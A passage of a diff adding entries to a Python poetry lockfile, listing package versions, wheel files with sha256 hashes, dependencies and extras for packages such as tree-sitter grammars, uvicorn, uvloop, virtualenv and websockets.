"sha256:4ddb113e6b8b3e3b199695b1492a47d87d06c538e63050823d90ef13cac585fd"}, + {file = "tree_sitter-0.24.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:01ea01a7003b88b92f7f875da6ba9d5d741e0c84bb1bd92c503c0eecd0ee6409"}, + {file = "tree_sitter-0.24.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:464fa5b2cac63608915a9de8a6efd67a4da1929e603ea86abaeae2cb1fe89921"}, + {file = "tree_sitter-0.24.0-cp311-cp311-win_amd64.whl", hash = "sha256:3b1f3cbd9700e1fba0be2e7d801527e37c49fc02dc140714669144ef6ab58dce"}, + {file = "tree_sitter-0.24.0-cp311-cp311-win_arm64.whl", hash = "sha256:f3f08a2ca9f600b3758792ba2406971665ffbad810847398d180c48cee174ee2"}, + {file = "tree_sitter-0.24.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:14beeff5f11e223c37be7d5d119819880601a80d0399abe8c738ae2288804afc"}, + {file = "tree_sitter-0.24.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:26a5b130f70d5925d67b47db314da209063664585a2fd36fa69e0717738efaf4"}, + {file = "tree_sitter-0.24.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5fc5c3c26d83c9d0ecb4fc4304fba35f034b7761d35286b936c1db1217558b4e"}, + {file = "tree_sitter-0.24.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:772e1bd8c0931c866b848d0369b32218ac97c24b04790ec4b0e409901945dd8e"}, + {file = "tree_sitter-0.24.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:24a8dd03b0d6b8812425f3b84d2f4763322684e38baf74e5bb766128b5633dc7"}, + {file = "tree_sitter-0.24.0-cp312-cp312-win_amd64.whl", hash = "sha256:f9e8b1605ab60ed43803100f067eed71b0b0e6c1fb9860a262727dbfbbb74751"}, + {file = "tree_sitter-0.24.0-cp312-cp312-win_arm64.whl", hash = "sha256:f733a83d8355fc95561582b66bbea92ffd365c5d7a665bc9ebd25e049c2b2abb"}, + {file = "tree_sitter-0.24.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0d4a6416ed421c4210f0ca405a4834d5ccfbb8ad6692d4d74f7773ef68f92071"}, + {file = "tree_sitter-0.24.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e0992d483677e71d5c5d37f30dfb2e3afec2f932a9c53eec4fca13869b788c6c"}, + {file = "tree_sitter-0.24.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:57277a12fbcefb1c8b206186068d456c600dbfbc3fd6c76968ee22614c5cd5ad"}, + {file = "tree_sitter-0.24.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d25fa22766d63f73716c6fec1a31ee5cf904aa429484256bd5fdf5259051ed74"}, + {file = "tree_sitter-0.24.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7d5d9537507e1c8c5fa9935b34f320bfec4114d675e028f3ad94f11cf9db37b9"}, + {file = "tree_sitter-0.24.0-cp313-cp313-win_amd64.whl", hash = "sha256:f58bb4956917715ec4d5a28681829a8dad5c342cafd4aea269f9132a83ca9b34"}, + {file = "tree_sitter-0.24.0-cp313-cp313-win_arm64.whl", hash = "sha256:23641bd25dcd4bb0b6fa91b8fb3f46cc9f1c9f475efe4d536d3f1f688d1b84c8"}, +] + +[package.extras] +docs = ["sphinx (>=8.1,<9.0)", "sphinx-book-theme"] +tests = ["tree-sitter-html (>=0.23.2)", "tree-sitter-javascript (>=0.23.1)", "tree-sitter-json (>=0.24.8)", "tree-sitter-python (>=0.23.6)", "tree-sitter-rust (>=0.23.2)"] + +[[package]] +name = "tree-sitter-c-sharp" +version = "0.23.1" +description = "C# grammar for tree-sitter" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2b612a6e5bd17bb7fa2aab4bb6fc1fba45c94f09cb034ab332e45603b86e32fd"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a8b98f62bc53efcd4d971151950c9b9cd5cbe3bacdb0cd69fdccac63350d83e"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:986e93d845a438ec3c4416401aa98e6a6f6631d644bbbc2e43fcb915c51d255d"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a8024e466b2f5611c6dc90321f232d8584893c7fb88b75e4a831992f877616d2"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:7f9bf876866835492281d336b9e1f9626ab668737f74e914c31d285261507da7"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-win_amd64.whl", hash = "sha256:ae9a9e859e8f44e2b07578d44f9a220d3fa25b688966708af6aa55d42abeebb3"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-win_arm64.whl", hash = "sha256:c81548347a93347be4f48cb63ec7d60ef4b0efa91313330e69641e49aa5a08c5"}, + {file = "tree_sitter_c_sharp-0.23.1.tar.gz", hash = "sha256:322e2cfd3a547a840375276b2aea3335fa6458aeac082f6c60fec3f745c967eb"}, +] + +[package.extras] +core = ["tree-sitter (>=0.22,<1.0)"] + +[[package]] +name = "tree-sitter-embedded-template" +version = "0.23.2" +description = "Embedded Template (ERB, EJS) grammar for tree-sitter" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:a505c2d2494464029d79db541cab52f6da5fb326bf3d355e69bf98b84eb89ae0"}, + {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:28028b93b42cc3753261ae7ce066675d407f59de512417524f9c3ab7792b1d37"}, + {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ec399d59ce93ffb60759a2d96053eed529f3c3f6a27128f261710d0d0de60e10"}, + {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bcfa01f62b88d50dbcb736cc23baec8ddbfe08daacfdc613eee8c04ab65efd09"}, + {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6debd24791466f887109a433c31aa4a5deeba2b217817521c745a4e748a944ed"}, + {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-win_amd64.whl", hash = "sha256:158fecb38be5b15db0190ef7238e5248f24bf32ae3cab93bc1197e293a5641eb"}, + {file = "tree_sitter_embedded_template-0.23.2-cp39-abi3-win_arm64.whl", hash = "sha256:9f1f3b79fe273f3d15a5b64c85fc6ebfb48decfbe8542accd05f5b7694860df0"}, + {file = "tree_sitter_embedded_template-0.23.2.tar.gz", hash = "sha256:7b24dcf2e92497f54323e617564d36866230a8bfb719dbb7b45b461510dcddaa"}, +] + +[package.extras] +core = ["tree-sitter (>=0.22,<1.0)"] + +[[package]] +name = "tree-sitter-language-pack" +version = "0.7.3" +description = "Extensive Language Pack for Tree-Sitter" +optional = false +python-versions = ">=3.9.0" +groups = ["main"] +files = [ + {file = "tree_sitter_language_pack-0.7.3-cp39-abi3-macosx_10_13_universal2.whl", hash = "sha256:6c4e1a48b83d8bab8d54f1d8012ae7d5a816b3972359e3fb4fe19477a6b18658"}, + {file = "tree_sitter_language_pack-0.7.3-cp39-abi3-manylinux2014_aarch64.whl", hash = "sha256:0be05f63cd1da06bd277570bbb6cd37c9652ddd1d2ee63ff71da20a66ce36cd8"}, + {file = "tree_sitter_language_pack-0.7.3-cp39-abi3-manylinux2014_x86_64.whl", hash = "sha256:fd6481b0501ae3a957f673d235bdd68bc7095899f3d58882be7e31fa8e06bd66"}, + {file = "tree_sitter_language_pack-0.7.3-cp39-abi3-win_amd64.whl", hash = "sha256:5c0078532d839d45af0477b1b2e5b1a168e88ca3544e94b27dcba6ddbadb6511"}, + {file = "tree_sitter_language_pack-0.7.3.tar.gz", hash = "sha256:49139cb607d81352d33ad18e57520fc1057a009955c9ccced56607cc18e6a3fd"}, +] + +[package.dependencies] +tree-sitter = ">=0.23.2" +tree-sitter-c-sharp = ">=0.23.1" +tree-sitter-embedded-template = ">=0.23.2" +tree-sitter-yaml = ">=0.7.0" + +[[package]] +name = "tree-sitter-yaml" +version = "0.7.1" +description = "YAML grammar for tree-sitter" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "tree_sitter_yaml-0.7.1-cp310-abi3-macosx_10_9_x86_64.whl", hash = "sha256:0256632914d6eb21819f21a85bab649505496ac01fac940eb08a410669346822"}, + {file = "tree_sitter_yaml-0.7.1-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:bf9dd2649392e1f28a20f920f49acd9398cfb872876e338aa84562f8f868dc4d"}, + {file = "tree_sitter_yaml-0.7.1-cp310-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94eb8fcb1ac8e43f7da47e63880b6f283524460153f08420a167c1721e42b08a"}, + {file = "tree_sitter_yaml-0.7.1-cp310-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:30410089828ebdece9abf3aa16b2e172b84cf2fd90a2b7d8022f6ed8cde90ecb"}, + {file = "tree_sitter_yaml-0.7.1-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:219af34f4b35b5c16f25426cc3f90cf725fbba17c9592f78504086e67787be09"}, + {file = "tree_sitter_yaml-0.7.1-cp310-abi3-win_amd64.whl", hash = "sha256:550645223d68b7d6b4cfedf4972754724e64d369ec321fa33f57d3ca54cafc7c"}, + {file = "tree_sitter_yaml-0.7.1-cp310-abi3-win_arm64.whl", hash = "sha256:298ade69ad61f76bb3e50ced809650ec30521a51aa2708166b176419ccb0a6ba"}, + {file = "tree_sitter_yaml-0.7.1.tar.gz", hash = "sha256:2cea5f8d4ca4d10439bd7d9e458c61b330cb33cf7a92e4ef1d428e10e1ab7e2c"}, +] + +[package.extras] +core = ["tree-sitter (>=0.24,<1.0)"] + +[[package]] +name = "typing-extensions" +version = "4.14.1" +description = "Backported and Experimental Type Hints for Python 3.9+" +optional = false +python-versions = ">=3.9" +groups = ["main", "dev"] +files = [ + {file = "typing_extensions-4.14.1-py3-none-any.whl", hash = "sha256:d1e1e3b58374dc93031d6eda2420a48ea44a36c2b4766a4fdeb3710755731d76"}, + {file = "typing_extensions-4.14.1.tar.gz", hash = "sha256:38b39f4aeeab64884ce9f74c94263ef78f3c22467c8724005483154c26648d36"}, +] + +[[package]] +name = "typing-inspection" +version = "0.4.1" +description = "Runtime typing introspection tools" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "typing_inspection-0.4.1-py3-none-any.whl", hash = "sha256:389055682238f53b04f7badcb49b989835495a96700ced5dab2d8feae4b26f51"}, + {file = "typing_inspection-0.4.1.tar.gz", hash = "sha256:6ae134cc0203c33377d43188d4064e9b357dba58cff3185f22924610e70a9d28"}, +] + +[package.dependencies] +typing-extensions = ">=4.12.0" + +[[package]] +name = "tzdata" +version = "2025.2" +description = "Provider of IANA time zone data" +optional = false +python-versions = ">=2" +groups = ["main"] +files = [ + {file = "tzdata-2025.2-py2.py3-none-any.whl", hash = "sha256:1a403fada01ff9221ca8044d701868fa132215d84beb92242d9acd2147f667a8"}, + {file = "tzdata-2025.2.tar.gz", hash = "sha256:b60a638fcc0daffadf82fe0f57e53d06bdec2f36c4df66280ae79bce6bd6f2b9"}, +] + +[[package]] +name = "tzlocal" +version = "5.3.1" +description = "tzinfo object for the local timezone" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "tzlocal-5.3.1-py3-none-any.whl", hash = "sha256:eb1a66c3ef5847adf7a834f1be0800581b683b5608e74f86ecbcef8ab91bb85d"}, + {file = "tzlocal-5.3.1.tar.gz", hash = "sha256:cceffc7edecefea1f595541dbd6e990cb1ea3d19bf01b2809f362a03dd7921fd"}, +] + +[package.dependencies] +tzdata = {version = "*", markers = "platform_system == \"Windows\""} + +[package.extras] +devenv = ["check-manifest", "pytest (>=4.3)", "pytest-cov", "pytest-mock (>=3.3)", "zest.releaser"] + +[[package]] +name = "uc-micro-py" +version = "1.0.3" +description = "Micro subset of unicode data files for linkify-it-py projects." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "uc-micro-py-1.0.3.tar.gz", hash = "sha256:d321b92cff673ec58027c04015fcaa8bb1e005478643ff4a500882eaab88c48a"}, + {file = "uc_micro_py-1.0.3-py3-none-any.whl", hash = "sha256:db1dffff340817673d7b466ec86114a9dc0e9d4d9b5ba229d9d60e5c12600cd5"}, +] + +[package.extras] +test = ["coverage", "pytest", "pytest-cov"] + +[[package]] +name = "urllib3" +version = "2.5.0" +description = "HTTP library with thread-safe connection pooling, file post, and more." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc"}, + {file = "urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760"}, +] + +[package.extras] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)"] +h2 = ["h2 (>=4,<5)"] +socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] +zstd = ["zstandard (>=0.18.0)"] + +[[package]] +name = "uvicorn" +version = "0.29.0" +description = "The lightning-fast ASGI server." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "uvicorn-0.29.0-py3-none-any.whl", hash = "sha256:2c2aac7ff4f4365c206fd773a39bf4ebd1047c238f8b8268ad996829323473de"}, + {file = "uvicorn-0.29.0.tar.gz", hash = "sha256:6a69214c0b6a087462412670b3ef21224fa48cae0e452b5883e8e8bdfdd11dd0"}, +] + +[package.dependencies] +click = ">=7.0" +h11 = ">=0.8" + +[package.extras] +standard = ["colorama (>=0.4)", "httptools (>=0.5.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.4)"] + +[[package]] +name = "uvloop" +version = "0.21.0" +description = "Fast implementation of asyncio event loop on top of libuv" +optional = false +python-versions = ">=3.8.0" +groups = ["main"] +markers = "sys_platform != \"win32\"" +files = [ + {file = "uvloop-0.21.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ec7e6b09a6fdded42403182ab6b832b71f4edaf7f37a9a0e371a01db5f0cb45f"}, + {file = "uvloop-0.21.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:196274f2adb9689a289ad7d65700d37df0c0930fd8e4e743fa4834e850d7719d"}, + {file = "uvloop-0.21.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f38b2e090258d051d68a5b14d1da7203a3c3677321cf32a95a6f4db4dd8b6f26"}, + {file = "uvloop-0.21.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87c43e0f13022b998eb9b973b5e97200c8b90823454d4bc06ab33829e09fb9bb"}, + {file = "uvloop-0.21.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:10d66943def5fcb6e7b37310eb6b5639fd2ccbc38df1177262b0640c3ca68c1f"}, + {file = "uvloop-0.21.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:67dd654b8ca23aed0a8e99010b4c34aca62f4b7fce88f39d452ed7622c94845c"}, + {file = "uvloop-0.21.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c0f3fa6200b3108919f8bdabb9a7f87f20e7097ea3c543754cabc7d717d95cf8"}, + {file = "uvloop-0.21.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0878c2640cf341b269b7e128b1a5fed890adc4455513ca710d77d5e93aa6d6a0"}, + {file = "uvloop-0.21.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9fb766bb57b7388745d8bcc53a359b116b8a04c83a2288069809d2b3466c37e"}, + {file = "uvloop-0.21.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a375441696e2eda1c43c44ccb66e04d61ceeffcd76e4929e527b7fa401b90fb"}, + {file = "uvloop-0.21.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:baa0e6291d91649c6ba4ed4b2f982f9fa165b5bbd50a9e203c416a2797bab3c6"}, + {file = "uvloop-0.21.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4509360fcc4c3bd2c70d87573ad472de40c13387f5fda8cb58350a1d7475e58d"}, + {file = "uvloop-0.21.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:359ec2c888397b9e592a889c4d72ba3d6befba8b2bb01743f72fffbde663b59c"}, + {file = "uvloop-0.21.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f7089d2dc73179ce5ac255bdf37c236a9f914b264825fdaacaded6990a7fb4c2"}, + {file = "uvloop-0.21.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:baa4dcdbd9ae0a372f2167a207cd98c9f9a1ea1188a8a526431eef2f8116cc8d"}, + {file = "uvloop-0.21.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86975dca1c773a2c9864f4c52c5a55631038e387b47eaf56210f873887b6c8dc"}, + {file = "uvloop-0.21.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:461d9ae6660fbbafedd07559c6a2e57cd553b34b0065b6550685f6653a98c1cb"}, + {file = "uvloop-0.21.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:183aef7c8730e54c9a3ee3227464daed66e37ba13040bb3f350bc2ddc040f22f"}, + {file = "uvloop-0.21.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:bfd55dfcc2a512316e65f16e503e9e450cab148ef11df4e4e679b5e8253a5281"}, + {file = "uvloop-0.21.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:787ae31ad8a2856fc4e7c095341cccc7209bd657d0e71ad0dc2ea83c4a6fa8af"}, + {file = "uvloop-0.21.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ee4d4ef48036ff6e5cfffb09dd192c7a5027153948d85b8da7ff705065bacc6"}, + {file = "uvloop-0.21.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f3df876acd7ec037a3d005b3ab85a7e4110422e4d9c1571d4fc89b0fc41b6816"}, + {file = "uvloop-0.21.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bd53ecc9a0f3d87ab847503c2e1552b690362e005ab54e8a48ba97da3924c0dc"}, + {file = "uvloop-0.21.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a5c39f217ab3c663dc699c04cbd50c13813e31d917642d459fdcec07555cc553"}, + {file = "uvloop-0.21.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:17df489689befc72c39a08359efac29bbee8eee5209650d4b9f34df73d22e414"}, + {file = "uvloop-0.21.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc09f0ff191e61c2d592a752423c767b4ebb2986daa9ed62908e2b1b9a9ae206"}, + {file = "uvloop-0.21.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f0ce1b49560b1d2d8a2977e3ba4afb2414fb46b86a1b64056bc4ab929efdafbe"}, + {file = "uvloop-0.21.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e678ad6fe52af2c58d2ae3c73dc85524ba8abe637f134bf3564ed07f555c5e79"}, + {file = "uvloop-0.21.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:460def4412e473896ef179a1671b40c039c7012184b627898eea5072ef6f017a"}, + {file = "uvloop-0.21.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:10da8046cc4a8f12c91a1c39d1dd1585c41162a15caaef165c2174db9ef18bdc"}, + {file = "uvloop-0.21.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c097078b8031190c934ed0ebfee8cc5f9ba9642e6eb88322b9958b649750f72b"}, + {file = "uvloop-0.21.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:46923b0b5ee7fc0020bef24afe7836cb068f5050ca04caf6b487c513dc1a20b2"}, + {file = "uvloop-0.21.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:53e420a3afe22cdcf2a0f4846e377d16e718bc70103d7088a4f7623567ba5fb0"}, + {file = "uvloop-0.21.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88cb67cdbc0e483da00af0b2c3cdad4b7c61ceb1ee0f33fe00e09c81e3a6cb75"}, + {file = "uvloop-0.21.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:221f4f2a1f46032b403bf3be628011caf75428ee3cc204a22addf96f586b19fd"}, + {file = "uvloop-0.21.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2d1f581393673ce119355d56da84fe1dd9d2bb8b3d13ce792524e1607139feff"}, + {file = "uvloop-0.21.0.tar.gz", hash = "sha256:3bf12b0fda68447806a7ad847bfa591613177275d35b6724b1ee573faa3704e3"}, +] + +[package.extras] +dev = ["Cython (>=3.0,<4.0)", "setuptools (>=60)"] +docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] +test = ["aiohttp (>=3.10.5)", "flake8 (>=5.0,<6.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=23.0.0,<23.1.0)", "pycodestyle (>=2.9.0,<2.10.0)"] + +[[package]] +name = "virtualenv" +version = "20.33.1" +description = "Virtual Python Environment builder" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "virtualenv-20.33.1-py3-none-any.whl", hash = "sha256:07c19bc66c11acab6a5958b815cbcee30891cd1c2ccf53785a28651a0d8d8a67"}, + {file = "virtualenv-20.33.1.tar.gz", hash = "sha256:1b44478d9e261b3fb8baa5e74a0ca3bc0e05f21aa36167bf9cbf850e542765b8"}, +] + +[package.dependencies] +distlib = ">=0.3.7,<1" +filelock = ">=3.12.2,<4" +platformdirs = ">=3.9.1,<5" + +[package.extras] +docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.2,!=7.3)", "sphinx-argparse (>=0.4)", "sphinxcontrib-towncrier (>=0.2.1a0)", "towncrier (>=23.6)"] +test = ["covdefaults (>=2.3)", "coverage (>=7.2.7)", "coverage-enable-subprocess (>=1)", "flaky (>=3.7)", "packaging (>=23.1)", "pytest (>=7.4)", "pytest-env (>=0.8.2)", "pytest-freezer (>=0.4.8)", "pytest-mock (>=3.11.1)", "pytest-randomly (>=3.12)", "pytest-timeout (>=2.1)", "setuptools (>=68)", "time-machine (>=2.10)"] + +[[package]] +name = "wcwidth" +version = "0.2.13" +description = "Measures the displayed width of unicode strings in a terminal" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "wcwidth-0.2.13-py2.py3-none-any.whl", hash = "sha256:3da69048e4540d84af32131829ff948f1e022c1c6bdb8d6102117aac784f6859"}, + {file = "wcwidth-0.2.13.tar.gz", hash = "sha256:72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5"}, +] + +[[package]] +name = "websockets" +version = "13.1" +description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "websockets-13.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f48c749857f8fb598fb890a75f540e3221d0976ed0bf879cf3c7eef34151acee"}, + {file = "websockets-13.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c7e72ce6bda6fb9409cc1e8164dd41d7c91466fb599eb047cfda72fe758a34a7"}, + {file = "websockets-13.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f779498eeec470295a2b1a5d97aa1bc9814ecd25e1eb637bd9d1c73a327387f6"}, + {file = "websockets-13.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4676df3fe46956fbb0437d8800cd5f2b6d41143b6e7e842e60554398432cf29b"}, + {file = "websockets-13.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7affedeb43a70351bb811dadf49493c9cfd1ed94c9c70095fd177e9cc1541fa"}, + {file = "websockets-13.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1971e62d2caa443e57588e1d82d15f663b29ff9dfe7446d9964a4b6f12c1e700"}, + {file = "websockets-13.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5f2e75431f8dc4a47f31565a6e1355fb4f2ecaa99d6b89737527ea917066e26c"}, + {file = "websockets-13.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:58cf7e75dbf7e566088b07e36ea2e3e2bd5676e22216e4cad108d4df4a7402a0"}, + {file = "websockets-13.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c90d6dec6be2c7d03378a574de87af9b1efea77d0c52a8301dd831ece938452f"}, + {file = "websockets-13.1-cp310-cp310-win32.whl", hash = "sha256:730f42125ccb14602f455155084f978bd9e8e57e89b569b4d7f0f0c17a448ffe"}, + {file = "websockets-13.1-cp310-cp310-win_amd64.whl", hash = "sha256:5993260f483d05a9737073be197371940c01b257cc45ae3f1d5d7adb371b266a"}, + {file = "websockets-13.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:61fc0dfcda609cda0fc9fe7977694c0c59cf9d749fbb17f4e9483929e3c48a19"}, + {file = "websockets-13.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ceec59f59d092c5007e815def4ebb80c2de330e9588e101cf8bd94c143ec78a5"}, + {file = "websockets-13.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c1dca61c6db1166c48b95198c0b7d9c990b30c756fc2923cc66f68d17dc558fd"}, + {file = "websockets-13.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:308e20f22c2c77f3f39caca508e765f8725020b84aa963474e18c59accbf4c02"}, + {file = "websockets-13.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62d516c325e6540e8a57b94abefc3459d7dab8ce52ac75c96cad5549e187e3a7"}, + {file = "websockets-13.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87c6e35319b46b99e168eb98472d6c7d8634ee37750d7693656dc766395df096"}, + {file = "websockets-13.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5f9fee94ebafbc3117c30be1844ed01a3b177bb6e39088bc6b2fa1dc15572084"}, + {file = "websockets-13.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7c1e90228c2f5cdde263253fa5db63e6653f1c00e7ec64108065a0b9713fa1b3"}, + {file = "websockets-13.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:6548f29b0e401eea2b967b2fdc1c7c7b5ebb3eeb470ed23a54cd45ef078a0db9"}, + {file = "websockets-13.1-cp311-cp311-win32.whl", hash = "sha256:c11d4d16e133f6df8916cc5b7e3e96ee4c44c936717d684a94f48f82edb7c92f"}, + {file = "websockets-13.1-cp311-cp311-win_amd64.whl", hash = "sha256:d04f13a1d75cb2b8382bdc16ae6fa58c97337253826dfe136195b7f89f661557"}, + {file = "websockets-13.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:9d75baf00138f80b48f1eac72ad1535aac0b6461265a0bcad391fc5aba875cfc"}, + {file = "websockets-13.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:9b6f347deb3dcfbfde1c20baa21c2ac0751afaa73e64e5b693bb2b848efeaa49"}, + {file = "websockets-13.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:de58647e3f9c42f13f90ac7e5f58900c80a39019848c5547bc691693098ae1bd"}, + {file = "websockets-13.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1b54689e38d1279a51d11e3467dd2f3a50f5f2e879012ce8f2d6943f00e83f0"}, + {file = "websockets-13.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = 